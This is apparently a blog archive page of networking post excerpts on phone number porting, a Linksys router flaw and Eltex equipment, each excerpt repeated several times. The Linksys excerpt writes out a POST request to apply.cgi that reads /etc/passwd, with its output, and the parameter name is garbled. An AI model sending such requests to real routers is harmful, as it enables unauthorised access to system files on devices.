Archive for the 'networking' Category

How Phone Number Porting Works

Friday, June 7th, 2013

In short: when phone call is made, phone switch checks a database to see if the called number has a secondary phone number (caller LNR), if yes, that number is used to route the call. LNP = Local Number Portability NPAC = Number portability administrat…

How Phone Number Porting Works

Friday, June 7th, 2013

In short: when phone call is made, phone switch checks a database to see if the called number has a secondary phone number (caller LNR), if yes, that number is used to route the call. LNP = Local Number Portability NPAC = Number portability administrat…

How Phone Number Porting Works

Friday, June 7th, 2013

In short: when phone call is made, phone switch checks a database to see if the called number has a secondary phone number (caller LNR), if yes, that number is used to route the call. LNP = Local Number Portability NPAC = Number portability administrat…

Don’t Use Linksys Routers « Superevr

Sunday, April 14th, 2013

the firmware is so buggy/insecure, so getting passwd file is as easy as: POST /apply.cgi Host: 192.168.1.1 submit_button=Wireless_Basic&change_action=gozila_cgi≠xt_page=/etc/passwd ====> root:x:0:0::/:/bin/sh nobody:x:99:99:Nobody:/:/bin/nolog…

Don’t Use Linksys Routers « Superevr

Sunday, April 14th, 2013

the firmware is so buggy/insecure, so getting passwd file is as easy as: POST /apply.cgi Host: 192.168.1.1 submit_button=Wireless_Basic&change_action=gozila_cgi≠xt_page=/etc/passwd ====> root:x:0:0::/:/bin/sh nobody:x:99:99:Nobody:/:/bin/nolog…

Don’t Use Linksys Routers « Superevr

Sunday, April 14th, 2013

the firmware is so buggy/insecure, so getting passwd file is as easy as: POST /apply.cgi Host: 192.168.1.1 submit_button=Wireless_Basic&change_action=gozila_cgi≠xt_page=/etc/passwd ====> root:x:0:0::/:/bin/sh nobody:x:99:99:Nobody:/:/bin/nolog…

ELTEX : wide range of equipment for traditional and converged complex solutions

Saturday, September 1st, 2012

[presentation, pptx] http://www.eltex.nsk.ru/en/company_en Small network equipment manufacturer out of Novosibirsk, Russia. Equipment varies from SOHO NAT/WIFI/VoIP gateways to 48x10GbE switches and Class 4,5 soft-switch

ELTEX : wide range of equipment for traditional and converged complex solutions

Saturday, September 1st, 2012

[presentation, pptx] http://www.eltex.nsk.ru/en/company_en Small network equipment manufacturer out of Novosibirsk, Russia. Equipment varies from SOHO NAT/WIFI/VoIP gateways to 48x10GbE switches and Class 4,5 soft-switch

ELTEX : wide range of equipment for traditional and converged complex solutions

Saturday, September 1st, 2012

[presentation, pptx] http://www.eltex.nsk.ru/en/company_en Small network equipment manufacturer out of Novosibirsk, Russia. Equipment varies from SOHO NAT/WIFI/VoIP gateways to 48x10GbE switches and Class 4,5 soft-switch

ELTEX : wide range of equipment for traditional and converged complex solutions

Saturday, September 1st, 2012

[presentation, pptx] http://www.eltex.nsk.ru/en/company_en Small network equipment manufacturer out of Novosibirsk, Russia. Equipment varies from SOHO NAT/WIFI/VoIP gateways to 48x10GbE switches and Class 4,5 soft-switch